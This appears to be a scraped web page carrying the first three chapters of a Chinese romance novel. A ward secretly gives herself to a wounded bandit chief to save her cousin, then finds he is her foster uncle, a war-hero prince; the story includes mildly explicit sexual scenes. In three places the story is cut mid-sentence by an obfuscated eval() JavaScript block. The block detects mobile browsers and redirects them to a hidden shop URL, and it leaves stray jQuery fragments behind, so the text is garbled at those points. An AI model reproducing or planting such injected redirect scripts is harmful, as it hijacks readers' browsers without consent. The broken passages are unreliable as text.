《表叔不善》 1. 第 1 章 大昭三年,边境一位神秘战神崛起,敌寇再不敢入侵,百姓日子渐渐安稳。 祥和有序的燕京城,才入初秋的八月清晨,豆大雨滴已渗透出丝丝寒意,将庭院芭蕉打落得蔫头耷脑,毫无生气。 一如住在月桂居的主仆们。 本就在霍家谨小慎微多年,自打华姝从深山逃回来,人前人后更是抬不起头 即便霍家最低贱的粗使婆子,也敢肆意辱骂到院门前:“听说没有,今日宋尚书夫人要来,八成是退亲!” “一姑娘家在深山待大半月,能活着回来,要说没野男人给吃给住,谁信?” “以前瞧着府上几个姐儿里边,她最是才貌双全、端庄懂事,没想到最是放浪发骚,我呸!” “她算哪门子正经小姐?在霍家蹭吃蹭住多年,哄得老夫人赔上脸面,才为她求得一份高嫁姻缘……” 闺房内,华姝一袭单薄素色亵衣,平静望着窗外,任由冷风裹挟唾骂声入耳。 听了近一个时辰,神情近乎麻木。 她的贴身丫鬟,白术最先忍不住,气愤地打开院门,朝婆子们身上使劲抡起扫把,“你们说够了没有?都给我滚!” “丑事都做尽了,这半个月指不定怎么被野男人又摸又亲的,还怕人说啊?”婆子们一把薅过扫把,个个撇嘴讥笑。 “我家姑娘守宫砂完好,清清白白,此乃老夫人亲口所言。”另一贴身丫鬟,半夏追出去,拽住白术胳膊,皮笑肉笑地反问:“嬷嬷们要去找老夫人对峙吗?” 华姝知道,耳根子很快能清净了。 霍家三位老爷最是孝顺生母。即便二房夫人贵为县主,也得日日敬着老夫人。 婆子们不敢僭越,气呼呼扔掉扫把,临走前不忘诅咒:“拿着鸡毛当令箭!这次表姑娘已经伤透老夫人的心,看日后府上谁还会护着你们?” 白术指着她们大骂:“赶紧滚!有多远滚不远……” “行了!” 半夏呵斥住她,“你是嫌姑娘处境不够难过,还是嫌姑娘心里不够难过?” 房门从外推开,裹挟着湿冷秋风,吹动软菱纱帐上的玉珠坠子“叮当”作响 “姑娘是何时起的?” 白术走过来,忧切关心道。 双面绣屏风后,华姝将目光落在窗前的桂花树下,对周遭的动静置若罔闻。 西墙边,经过秋雨一夜冲刷,高洁的米黄花瓣,深陷入泥泞里,污浊不堪,再难回到从前。 “姑娘怎得光脚站地上?凉气都从脚入,还是您教奴婢……”白术絮叨着拿来鞋袜,扶着她坐到梳妆台前,伺候穿戴 没一会,半夏端着热腾腾早膳进门,故意逗趣:“有您爱吃的鸡丝小笼包呢。” 这些年承蒙老夫人庇佑,自家姑娘也争气,才貌礼仪样样出彩,凭得一手精湛医术入了宋尚书夫人的青眼。百里挑一的好姻缘,其余几位小姐都羡慕得急红眼。 眼看是正经的宋家少夫人,再不用寄人篱下。怎知婚前进山上香,竟…… “不必了,我去陪祖母一起用早膳。”华姝道。 “姑娘终于想通了!”白术大喜:“老夫人最疼您,若请得她老人家出面,亲事肯定黄不了。” “将婚书与宋公子庚帖,一并带上。” “姑娘要主动退亲?” 就连沉稳的半夏,亦是吃惊。 华姝细语平和,眸光决然:“是我有错在先,一人做事一人当。” 刚刚,那些婆子没说错。 深山茅草屋,眉骨带疤的粗犷野男人,被他压在魁岸身下,又亲又摸。 同床共枕半月,还是她主动的…… *那时还是夏末* 白日里,艳阳高照。她满怀对未来婚姻的美好憧憬,在霍家大房表姐的陪同下,拜佛祈福。山里气候多变,突遭瓢泼大雨,将马车冲下山道,昏死过去。 再醒来,竟掉进山匪窝! 恰巧山匪头子重伤,绑来无数大夫都没治好。她自幼学医,随身带有银针,竭力说服山匪们,挣得一线生机:被大雨冲下山道的大表姐,最后一丝生还的机会。 密闭潮湿的茅草屋内,药草味刺鼻,血腥味浓郁。 男人平躺在火炕上,身下铺着厚实柔软的老虎皮。他高大魁梧,双脚空悬在炕沿外,健硕的左侧大腿上缠满白色绷带,血迹斑驳。两眼紧闭,干裂厚唇毫无血色 华姝依次叩诊他两只麦色的阔腕,“贵主并非单纯受伤,是中毒。毒素聚集伤口边缘,伤口难愈合,人昏迷不醒。” “中毒?”跟进来的刀疤彪汉,诧异又怀疑:“先前几个大夫,可都没说过。” “我用银针放掉他伤口处的毒血,可保他短暂苏醒,届时您自行分辩。” 年纪轻轻,又是一介女流,极易被轻视。华姝只用事实说话。 解开绷带,银针刺下,藏在体内的稠黑毒血被逼出。片刻后,男人手指微动,徐徐睁眼。 “你还真有两把刷子!” 彪汉敬佩又惊喜,赶忙将男人扶坐起来。五大三粗的汉子,动作恭敬又谨慎:“老大,您感觉怎么样?” “我昏迷了多久?”男人重伤又中毒,嗓音依旧浑厚,声如擂鼓。 “已有五日,可吓坏大伙了。” “慌什么?”男人语速不急不缓,沉郁顿挫:“对方这几日……谁在那?!” 幽冷的视线,如刀子般射过来—— 最让她细思极恐的是,男人好像中毒失明了,眼神失焦。可在她没敢喘口大气的情况下,被他视线精准钳住! “是请来的女神医,多亏有她,您才能醒……” “出去。”男人冷声命令。 华姝被赶出门,惴惴不安等在院中,焦灼又惶恐。 背靠高山的破败院落里,十多个粗布麻衣的彪形壮汉,赤膊围坐松树下。身上新旧伤疤,大小斑驳。有人蹲身“咔咔”磨刀,锋利刀刃折射刺眼白光,惊恐渗人 她心中不停祈祷,祈祷男人赶紧昏倒。这样才有谈判机会,才能救人。 皇天不负有心人,半个时辰后,那壮汉拧眉走出来:“开药方,越快越好。” 华姝下一记猛药,男人很快重新苏醒 然而,鹿血的药效过于强劲,让他起了反应,血脉喷张,燥欲难耐。 油灯昏暗的茅草屋中,他半靠在炕头,受伤左腿平放,外侧的右腿曲起,盖着虎皮被子,堪堪遮住尴尬。 失血过多的脸,潮红一片,热汗淋漓。两只大手将虎皮被褥攥到变形,手背青筋狰狞凸起。 饶是如此抵制,身体反应不消反增。 深更半夜,雨珠噼里啪啦地敲打窗棱,却遮不住越来越粗重的呼吸声,弥漫在整个房间。 华姝被迫守在旁边,雪腮红得滴血。 大婚前夕,早已从教养嬷嬷那通晓人事。听得男人一声声压抑难耐的低喘,她恨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745944|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得找个地缝钻进去。 但反复挣扎后,她搓了搓手指,主动解开衣裙,露出藕粉芙蓉小衣。 折下脊梁骨,也折去十六年来刻进骨子里的廉耻教养,裹挟着馨芳的体香,慢慢依偎到□□焚身的男人身上。 冷凉指尖颤抖着,触碰到他火热胸膛的刹那,明显虎躯一震,粗喘呼吸越发急促。 随后,滚烫粗粝的大掌,抚上了她纤软腰肢,烫得白嫩的肌肤阵阵寒颤,如坠寒渊。 虽在霍家不是正经的小姐,可也饱读诗书多年。如此轻贱的献媚,寻常妾室都不屑为之。 临到肌肤相亲的关头,华姝仍止不住地想退缩。 但茅草屋外,十数个满身刀疤的山匪彪汉,正虎视眈眈地等着。其中一人赤手空拳打死的野鹿,这会还倒在血泊里,冒着热乎气。 此时此地,除去一身皮肉,哪还有值得他们入眼的?与其被外面那些彪汉糟蹋,倒不如在山匪头子这搏一份欢心,求动他派人下山救援。 华姝咽下喉头酸涩,生生忍住退意。 一滴清泪,还是顺着眼角悄然滑落。 期盼多年的婚事,肯定保不住了。 怎料,“滚开!” 男人强劲有力的大手,忽地扣住她腰肢,狠狠朝地上一甩。 “老大,你怎么了?!” 门外的山匪们,听到屋里动静,猛地推门冲进来。 衣襟大敞的华姝,心瞬间提到嗓子眼。顾得满身酸痛,仓惶将自己裹成一团,缩进桌子下。 与此同时,有什么东西飞射向门口,应声裂开在那山匪脚下,将其逼得不敢再上前一步。 匆忙间,那山匪瞥见了桌下衣衫不整的华姝,察觉屋里微妙氛围,嘿嘿一笑,关门退出去。 “走走走,别打扰老大做新郎官。” 十来人沉重的脚步声,往远处去了。 起哄的笑闹声,宛若阵阵讥笑,狠狠一巴掌扇在华姝脸上。 “穿好衣服,你也出去。” 男人本就压迫十足的周身气场,越发沉闷威压。不容置喙的语气,让人恍然生出一股他能号令千军万马的错觉。 华姝呼吸一紧,再度心生退意。 她做不到。 她真的做不到。 突然这时,“咔嚓——” 屋外雷雨更甚,救人迫在眉睫! 锃亮刺目的闪电,抽打着山脊,也好似抽打在她心涧,血肉模糊。 在霍家几年,除了老夫人,大表姐最照顾她。大表姐瘫痪多年,若无人救援,今夜难逃一死。今日又是陪她进山上香,才遭此劫难,华姝不能连累这么好的人枉死。 葱白纤手,攥紧发皱松散衣摆,又徒劳无力松开。重新起身,宛若一具行尸走肉走向炕边。 她咬了咬唇瓣,软语孱颤:“衣裙刚被您扯坏了。” “我没听到衣料破碎声。” 男人咬牙强忍着,汗涔涔的宽额上,剑眉紧蹙。 右眉骨靠前三分处的斜短细疤,被进褶皱里,让他减少些许狠戾,平添几丝阳刚贵气。 平心而论,虽是山匪头子,其实长得并不丑。眉宇疏朗,星目炯然,深邃大气的五官好似书中常描绘的一代枭雄模样。 “……是衣襟的盘扣掉了。” 华姝心脏忽然砰砰跳得厉害,深吸了口气,潸然落泪的同时,主动牵起他滚烫粗粝的厚掌,往心口处带去,“不信,您摸摸……” 2. 第 2 章 霍家主屋,千竹堂。 华姝一路饱受各种打量的目光,怀着五味杂陈的心绪,缓步跨过院门。 自打从山里回来后,再没敢在老夫人跟前露面。好担心祖母会为她难过,亦或渐渐失望,再也不要她了。 幸运的是,主屋的丫鬟见她来了,一如既往热络地掀开帘子,“表姑娘总算来了,快请进。老夫人已经念叨好几次了,等会见到您,早膳一准能多吃半碗。” 华姝欣慰一笑:“多谢芸儿姐姐。” 走进屋时,三房的夫人和小姐们,已经依次候坐在中堂的太师椅上,包括怀孕四月有余的三夫人,都等着为老夫人请安。 她盈盈欠身,端庄行礼:“见过大伯母二伯母三婶娘、两位表姐,姝儿来迟了。” “不迟不迟,姝儿快过来坐。” 大表姐霍千羽坐在红木轮椅上,笑着朝她伸出手。 大夫人也欢喜附和:“是啊,我们也都刚到,你快坐。” 相比大房母女的亲近,二房三房的人只象征性笑了笑。不过谁都心照不宣地没再提起山里的事,应是老夫人特意吩咐过。 华姝挨着霍千羽坐下,大大方方问:“表姐身上的伤可大好了?” 霍千羽没想到她会主动提起,面露意外的同时,拉过她手握紧,“多亏了你,我伤得不重。倒是你自己,可好些了?” 霍千羽的一语双关,让华姝再度陷入回忆。 雨夜那晚,设法帮男人纾解完,她第一时间提出救人。餍足过后的男人,还算慷慨,随即吩咐山匪们连夜下山寻人。 他甚至周到地顾虑到女儿家的名声,将霍千羽送到山顶寺院,假称被大雨阻在半路、无奈折返。只是,却以鹿血药方要连喝半月为由,说什么都不肯放华姝离开。 次日天晴,霍家的人成功接回霍千羽,却是寻觅华姝不得。大伙都明白,霍千羽瘫痪多年,能死里逃生肯定是因为华姝做了什么,但她不肯多说便没再多问。 原本就多驾照佛的老夫人和大房中人,因此对她越发亲厚。 “表姑娘,老夫人今日戴发簪始终没选到可心的,让您进去帮她挑挑呢。”老夫人贴身的桂嬷嬷从内室走出来,言笑晏晏请人。 华姝明白,老夫人这是特意在人前给她长脸,自然不会拒绝。 霍千羽母女见状,都由衷为她高兴。二房的霍华羽忍不住撇嘴:“倒底谁才是亲生的?”然后被其母明和县主掐了下,悻悻闭嘴。三夫人怀着孕,这会只乐得自在。 内室里,年过半百的老夫人满头华发已梳整齐,凤穿牡丹的深黄锦衣,与翡翠镶金的牡丹簪子,搭配得相得益彰,雍容华贵。 眼角的鱼尾纹里,充满着爱怜。一见到华姝就心疼地抱进怀里,含着“心肝肉”落泪。 亲自教养了七八年的好姑娘,老人家是真心疼她,比亲孙女还疼。虽是三令五申交代下去,不准府中人再提及此事,但这深宅大院里上千张嘴,哪可能时时堵严? 华姝不想再惹老人家难过,看向房顶,强逼退泪水。故作轻松地伺候她重新净面,提及正事:“祖母,姝儿想退掉这门亲事。” “您教过我,强扭的瓜不甜。与其勉勉强强嫁去宋家,卑躬屈膝地活着,不如好聚好散。有医术在手,有霍家为我撑腰,日后姝儿还能挺直脊梁骨做人。” 相对于桂嬷嬷等人的惋惜不解,霍老夫人一点都不意外,自己养大的姑娘自己最清楚。 她摸着华姝的头,“好孩子,祖母都依你。不想嫁宋家咱就不嫁,等日后遇到合适的人,祖母亲自去为你说媒。即便一辈子不想嫁,祖母的贴己钱也养得起你。” 简短一句话,将她所有后路都想全了 “祖母……” 华姝这次再也忍不住了,泪水决堤。 祖孙俩抱在一块,痛哭好久。桂嬷嬷和贴身大丫鬟瞧着,也都湿了眼眶。 东方朝阳,橙红万丈,像是苍天给予的莫大鼓舞,又像是一个温暖怀抱,令人倍感安心。 * 再度被伺候着净脸后,祖孙俩走到外间的中堂,大伙一起热热闹闹用完早膳。 全程欢声笑语,若无其事。 不过饭菜还没撤下去,丫鬟就来通传:“启禀老夫人,宋尚书夫人到了。” 闻言,众人神色各异。 大房的霍千羽母女不由面露忧切,二房的霍华羽母女冷眼旁观,三房夫人继续喝着安胎药膳,反应淡淡。 老夫人跟华姝已私下通过气,这会神色平稳如常:“将早膳撤下去,请宋夫人进来。” 不多时,丫鬟重新从外挑开门帘,一位风姿绰约的中年贵妇,款款而入。 来人年仅四十,皮肤依旧白皙光润,可见保养得当。发髻簪满红宝石头面,青色罗裙是时下最新兴的烟纱苏锦智造。腰间所坠玉佩,与腕子一对乳白玉镯,也是从成块的羊脂暖玉上整副切割而得,身价翻了数倍。 宋夫人一进门就跟华姝对上了眼,没料到她会不避嫌,但很快不着痕迹挪开目光,朝上首老夫人欢笑见礼:“臣妇见过霍老夫人,老夫人万安。” 按理说,宋尚书官拜三品,霍家官职最高的二姥爷也才正四品,理应众人先向宋夫人见礼。 但老夫人乃正一品的郡主出身,完全受得起她这礼。倒也没仗势欺人,笑着吩咐:“快给宋夫人看坐。” 二房夫人又是正二品的明和县主,与大夫人恭敬坐在老夫人下首。故而宋夫人,也只得屈居在下。 宋夫人在一众人面前不敢自恃身份,起初只敢说些不咸不淡的客套话缓和关系。 后来等了半晌都不见华姝离开,她终于忍不住了,主动提及话茬:“老夫人,实不相瞒,臣妇此次前来是想重新商讨一下两家的这门婚事。” 老夫人本想顺水推舟,“宋夫人有何打算?” 哪知,宋家是里子面子都想要,“您也是知道,我家大郎去年初入官场,这一年破耗费精力。他又是实心眼的孩子,满心惦念着为百姓办事,暂时无暇顾及个人私事,这成亲的事不知得到何时。” 她状似慈爱地看向斜对面的华姝,“姝儿是个好姑娘,可不能被这么耽搁了。我也是真心喜欢她,想着说不若许配给我家二郎,到时候还能做婆媳。” 此话一出,房间陡然沉寂。 老夫人笑意全无不说,华姝等人看她的目光也冷凉下来。桂嬷嬷等人,更是止不住朝宋夫人甩眼刀子。 众所周知,宋家二郎乃室所出。嫡少夫人变庶子夫人,“还能做婆媳”的含义可是千差万别。 若寻常庶子也罢了,宋家二郎几次科考不中,颓废嫖赌,外室大着肚子找上门,满城笑话。 让华姝嫁给这种货色,无异于把她往火坑里推,霍家的脸面也得被人踩在脚底。 老夫人深谙其理,气得不轻。但教养使然,加之霍家这边出事在先,还是好言好语表示:“宋夫人的美意,我们霍家心领了。不过早前姝儿已同老婆子说明,想退掉这门亲事。婚书庚帖今日便可归还于你,从此两家孩子各自嫁娶,互不干预。” 宋夫人听完愣住,显然没料到华姝舍得主动退亲。 转而再想,郁闷至极。 她们宋家是何门第,哪轮到这般卑微出身的女子先行拒婚?尤其华姝不检点在先,理应她被退亲才对。这事传出去,甚是有损大郎颜面,宋夫人决不能允许。 于是她皮笑肉不笑,明知故问道:“敢问华姑娘,因何缘由想退亲呐?” 房内气压,更是冷寂到极点。 因何缘由,大家心里都明镜似的。宋夫人非要摆到台面上,那就是明目张胆要打霍家的脸。 这回,不仅老夫人气得让桂嬷嬷直抚胸脯,三位夫人也都坐不住了。 奈何大老爷和三老爷官职不高,俩夫人人微言轻。但二夫人明和县主可不惯着她: “我家婆母给宋夫人留着脸面,您见好就收吧。燕京城谁人不知,你家大郎体弱多病。我家表姑娘虽然医术精湛,但架不住他日夜为百姓奔波呀。怕年纪轻轻就守寡呗。” “噗哧——” 二表姐霍华羽忍不住为母亲竖起大拇指,论怼人,还得是她娘啊。 大表姐霍千羽也与华姝相视而笑,倍感解恨。 二夫人素来是刀子嘴豆腐心,家里斗得厉害,对面极其维护霍家。华姝由衷朝她感激一笑,结果被回复一记白眼。 华姝:“……”二伯母开心就好。 霍家人乐呵了,宋夫人气得脸色铁青,对二夫人怒目而视:“你——” 奈何对方是县主,她不能直接辱没。咬牙沉脸站起身,吩咐婢女:“去将庚帖和婚书换回来,咱们回府。不是一家人不进一家门,我倒要看看,霍家几个小姐都能嫁入哪户高门?!” 目光掠过霍千羽时,还特意挑衅看了眼瘫痪的双腿。 霍千羽也不甘示弱:“好死,不如赖活着……” “报——” 突然这时,有看门的小厮一路狂奔而来,顾不得通传,径直扑进来跪在地上,“老夫人大喜,大喜啊!” “何事慌慌张张?” 刚被宋夫人讥讽过家风,二夫人不悦训斥道。 “四爷……圣旨……镇南王……” 小厮一时太激动,跑得上气不接下气。 一听圣旨,大伙皆不敢轻视。大夫人安抚他,“不急,你将气喘匀乎了,慢慢说。” 小厮哪敢耽搁,稍稍气顺便匆忙回禀:“宫里传旨的内侍监已抵达正门外,说是咱家四爷在边境大捷,被圣上亲封为镇南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老夫人缓步走进清枫斋主屋,瞧着熟悉的屋子,不免睹物思人。 “好多年没来了,我不敢来。连画像都让桂嬷嬷收了起来,不敢看,就怕梦到他在外出事。” 她摸摸那床头,又比划着书案的高度,泣不成声:“当年刚抱回来时,还没这桌子高,一晃就变成大将军了,我儿争气啊!这些年在外面,也不知一个人吃了多少苦,受没受伤……” “祖母,这是喜事。回头你哭坏了眼睛,四叔回来得多心疼呐。”华姝微笑着为老夫人拭泪,撒娇逗趣道:“我还在这呢,你这有了儿子就忘了孙女,姝儿可不依。” 老人家破涕而笑:“对对,还有咱家姝儿呢。这些年少个儿子,多了孙女,祖母开心地很。” “您开心就好,是我们小辈之福。” 眼看气氛渲染到位,二夫人笑盈盈接过话茬,适时提出多日的心头顾虑:“虽说四弟从前住在清枫斋,但倒底偏了些,他如今贵为王爷,再安排在此地是否有碍身份?” 华姝眨了眨眼,没再多言。 按大昭惯例,圣上会赐予王府。四叔若住过去,便与分家分异。 寻常人这般做,定被戳着脊梁骨指责不孝不义。四叔是祖母的养子,旁人不好说三道四,何况是人人敬仰的战神? 但如此一来,霍家其余三房能沾得好处就少了。二伯母,这是在变相打探祖母的态度呢。 老夫人哪会不懂? 她听完,笑着打起太极:“这臭小子一走七八年,连封平安信都没有,一点不知道想我。他还敢有脾气?我到时候就将他打出去,爱谁要谁要。” 模棱两可的态度,让二夫人讨个没趣,也不敢再深问。片刻后,借口有事走开了。 她走后,祖孙俩一边往外走,一边说起贴己话:“姝儿,你怎么看?” 华姝扶着她,莞尔道:“祖母愿意尊重姝儿的婚事,想来也会尊重四叔的意愿吧。” “瞧瞧,还是这丫头最懂我。”老夫人拍拍她手,同桂嬷嬷笑道。 桂嬷嬷也笑着附和:“谁说不是呢?表小姐和四爷都是您亲手养大的,一样地孝顺懂事。” 华姝腼腆一笑,梨涡浅浅。 “不过有两点,祖母还是要提醒你。” 老夫人走到清枫斋门口,停下脚步,看着对面华姝的月桂居,鱼尾纹掬起一抹慈爱的笑意: “其一,你同小四住得最近。 其二,他同你父亲关系最是亲厚。 日后你多孝敬着,让他为你物色一门好亲事。咱家姝儿这么好的姑娘,找夫婿也值得最好的。” 3. 第 3 章 祖母的时刻惦念,让华姝心头暖洋洋的。但这话茬,她却没应。 不敢应。 没脸应。 华姝的亲祖母,与霍老夫人是闺中挚友,嫁人后常有走动。据说,父亲年幼时没少往霍家跑,应是那时与四叔接下来的缘分。 父亲生前清白一世,四叔定也是极有风骨之人。毕竟这世间没几人,愿意放弃舒适优渥的世家生活,一扎根在风沙漫天的边境,浴血奋战就是七八年。 若是被四叔知晓她做得那些丑事,还不知得怎样恨她、怪她给父亲丟尽颜面吧…… 华姝送老夫人回去后,已是日落黄昏。顶着漫天暗沉沉的夕阳,主仆三人往月桂居折返。 晚风渐凉,她搓了搓手臂。 半夏贴心为她披上暗红色的石榴披风,“奴婢多嘴一句,姑娘想开些。四爷是老夫人一手养大的,定也同老夫人一般心明眼亮。” “老夫人都明确发话了,四爷肯定会为您物色一门好亲事。”白术也道:“奴婢回头就去打听四爷的吃食喜好,咱们近水楼台先得月,先抓住四爷的胃!再笼络住四爷的心!” 华姝被逗笑:“你就知道吃。四叔可是战神,才瞧不上……见过大表兄。” 主仆三人绕过垂花门,刚走上林荫石子小路,抬眼就瞧见长身玉立在湖边的霍玄,大房霍千羽的胞弟,霍家嫡长孙。 十七岁的温润美少年,身后跟着书童和侍卫。他眉眼如玉,柔和无害。一袭低调的鸦青长衫,透着浓郁的儒雅气。 华姝顺势近前打招呼。 白术和半夏识趣留在原地,不远不近地候着。 “表妹是刚从祖母那回来?” 霍玄主动挑起话题。 “陪祖母去四叔的院子转了转。”华姝微笑道:“表兄也是为四叔特意从学院赶回来的吧?” 霍家大房和二房各有一位嫡子,未及弱冠,大多时住在学院潜心苦读。此次四叔大捷封王,全家人都很重视。二伯父一早就命人去学院传话,让两人尽快归家,恭候四叔班师回朝。 “不止为四叔。” 少女温婉知礼,让霍霖忍不住侧目。 笑起来梨涡朵朵,在夕阳照耀下,清甜又明媚。尤其那双狗狗眼,乍看干净无辜,细看又清纯懵懂得引人亲近,想保护。 环顾四周没有外人,他压低声音,耳朵微红:“也为了表妹。” 空气突然安静,一缕细细晚风萦绕在两人周围,气愤变得微妙起来。 瞧着少年投来的真挚目光,华姝半懂未懂,一时不敢多言。 霍玄知道女孩家脸皮薄,这层窗户纸需得由他挑破,“此事,是我失礼了。但今日归家后,得知表妹被退婚,我既心疼又兴奋,像是上天的恩赐,让我终于等到求娶你的机会。” “多年相处,我自是相信表妹的为人,不疑半分。只待过几日放榜后,若能争得殿试资格,有了正经官职,霍玄定备得丰厚聘礼,向你正式提亲。” 怕她不信,他还举手发誓:“今日此言,句句肺腑。来时已同母亲商议,她也欢喜,盼你做她的……”儿媳。 一句句饱含万分理解的话语,如晚风吹动湖面般,也吹乱华姝的心湖,荡漾起阵阵涟漪。 大表兄霍玄这些年对她照顾也不少,为人端方君子,亦是燕京城众多女子的择偶首选。尤其是霍家变为镇南王府之后。 大伯母时不时也会关心她,霍千羽有的礼物,常常会多备一份给她。大表姐本人更没得说,是亲人也是挚友。如果能和她们做婆媳、做妯娌,还能继续陪着祖母,未来日子肯定舒坦。 听得霍玄真心话,华姝有些心动。 可山里几日,肌肤相亲真切发生过。 从祖母那学来的多年教导,让她不齿欺骗他们的信任,心中转而万分愧疚难当。 华姝搓搓指尖,勉强挤出笑意:“说起殿试,还未来得及祝愿表兄,科考大成,金榜题名。” 为避免直接拒绝引起尴尬,她默默转移话题,很快叫上白术和半夏离开。 霍玄望着她渐行渐远的纤细鹅黄背影,回忆着她一颦一笑的恬美可人,痴痴站了许久。 表妹没答应也没拒绝,就还有机会。 她需要些时日消化山中事,他就趁此时日好生准备殿试,一举挣得功名,让她风光大嫁,堵住燕京城所有人的嘴! * 一场秋雨一场寒,日子辗转八月底。 四爷霍霆的归期临近,来霍家递拜帖的人越来越多。 三位老爷尽可能闭门谢客,不擅自为弟弟欠下人情债。夫人们谢绝宴席邀请,专心在府中筹办各项章程,教导小辈们礼仪。 “初次行礼是半屈膝不能稍欠身,要穿入宫赴宴规制的服侍,什么能说什么不能说,都记清了吗?” 大到燕京城,小到霍家,都仿佛在备战。东南边境的战火,似以另一种方式烧到北部中原。 “镇南王归来,燕京城要变天了!” 大夫人为此累倒,华姝前往白鹭院侍疾,“您身子已大好,再吃两副汤药,寒症就能消退。” “这几日多亏有姝儿。” 大夫人靠在青纱罗帐床头,盖着软缎锦被,拉起她手说话,“府上都在忙四弟的事,难得你惦记着我。” “府中大事皆有长辈操持,姝儿帮衬不上,也就医术还能派上些用场。” “就你这丫头实心眼!瞧瞧那两位表姑娘,这会又在千竹堂装乖卖巧呢吧?” 二夫人表妹沈青禾,和三夫人胞妹阮糖,借着探亲的名头来霍家小住。两人皆是适嫁年纪,得知二十八岁的镇南王此前忙于战事,尚未娶妻,都想近水楼台先得月,争一争王妃之位。 自住进霍家,她们日日往千竹堂跑,陪老夫人打叶子牌,变着法子逗乐子。 一度将华姝,都挤得没地呆。 事关长辈婚事,她自认没什么好争的,索性给她们腾出位置。 “不去正好。大伯母要将你藏严实些,好留给自家儿子。”大夫人笑容可掬。 这丫头是她亲眼看着长大的,各方面都合心。虽说先前稍有差池,但清白尚在。何况不惜救她闺女一命,又颇得他儿子欢喜,大夫人琢磨着当儿媳也挺好。 “我听玄哥儿说,他前几日都与你说明白了?” 华姝听得面颊一热,后知后觉对方貌似误会了,“大伯母,我那日的意思,其实是……” “夫人,四爷回府了!” 忽然这时,丫鬟气喘吁吁跑进通传。 大夫人坐直身子,面露诧异:“不是说要两日后吗?” “这……奴婢不知,只知道马车这会已到门口。三位老爷已带着少爷们先行迎接。”丫鬟磕磕绊绊答道:“过来的路上,二夫人和三夫人也都往老夫人那儿去了。” “好啊!一个个都巴巴去献殷勤,就不叫我。”大夫人忙吩咐更衣,“快,咱也快点过去。” “您有病在身,想来四叔会理解。” 对四叔无所求的华姝,相对平静许多,帮着挑件厚实的披风,“您多穿些,切莫再着凉了。” 丫鬟们很快鱼贯而入,净面的净面,梳妆的梳妆……屋子顿时忙作一团,胜在闹中有序。 不多时,霍千羽闻讯过来。娘仨穿戴整齐,齐齐往千竹堂赶。 * 天幕飘起零星小雨,秋风寒涩阵阵。 青石板路被淋湿,地面变得滑擦。 霍千羽坐轮椅,走不快。 华姝就撑伞陪着她,慢慢跟在后面。 两人都不是争名逐利的性子,此次只为全一份对长辈的孝道、对民族英雄的敬意。 华姝甚至都有点犯怵,总担心她的丑事会给四叔的战神身份抹黑,会为他不喜、不齿。 霍千羽瞧着自家老母亲在前面脚下生风,悄悄打趣:“我娘这病,提前好了呢。” 华姝朱唇微勾:“确实瞧不出病态了。看来四叔不仅是战神,还是药神……” “药到病除!哈哈……” 两人有说有笑,一路走到千竹堂院门口,远远就望见主屋台阶前乌泱泱一大群人。 各色油纸伞里三层外三层围着,也瞧不见中间那位令整座燕京城都兴师动众的威武四叔,只能通过每人的声音辨认。 “我的儿啊,你终于回来了!” 先前扬言要将人打出去的老夫人,应是不顾下雨,亲自出门相迎,哽咽又委屈:“娘都担心闭上眼那日,都再瞧不见你。” “四弟这不回来了么?母亲,此乃喜事。”大老爷温润劝道。 “四弟独自在边疆征战这些年,定也是念着母亲的。”二老爷话带威严。 三爷性子活脱:“您这一伤心,惹得四弟难过不说,连老天都哭泣了……” 众人大笑。 二夫人趁热打铁,殷切张罗着:“外面下雨天寒,咱进屋说话吧。” 她掌管内宅多年,话语自带威信力。 但今日人群未动。 华姝浅浅一笑,心生感慨。 燕京城有没有变天未可知,霍家的天是真变了…… “母亲莫哭,澜舟回来了。” 一道熟悉又陌生的声音,猝不及防响起,华姝笑意僵住。 熟悉的是声线,陌生的是温和语气。 记忆中那人,一惯冷语寒沉。 应是她听错了吧? “回来就好,回来就好。” 老夫人依旧哽咽:“我儿澜舟平安得胜归来,可喜可贺,为娘这是喜极而泣。” “都是澜舟不孝,日后定好生陪陪母亲,再不让您劳神惦念。” “叮咚——”有雨滴敲落脚边。 这回,华姝整个身子都僵住。 真的是他! 怎会是他? 不是山匪头子吗? 战神,镇南王……四叔? 后面的对话,都游游荡荡从华姝耳畔飘远。她像是误入一场春秋大梦,惟愿长醉不用醒…… “姝儿,你怎么也没戴个手镯?” 霍千羽的关注点,则是在沈青禾和阮糖两个表姑娘的明艳华丽穿戴上。她从腕子蜕下一只塞到身后,“快戴上。咱霍家的姑娘,可不能被那外来的比下去。” 华姝大脑仍一片空白。 左手出于本能,去接玉镯子。双眼,则紧紧盯着前方的人群。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745946|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她抱着最后一丝侥幸,或许只是声音极像。毕竟山匪头子和战神的身份,千差万别。 人群开始攒动,慢慢往主屋门口移步。先前挤在一处的油纸伞,逐渐露出大片缝隙。 那张刚劲俊毅的侧脸,惊现伞下。 右眉骨的斜短细疤,位置不偏半寸。 真的,就是他…… “啪啦——” 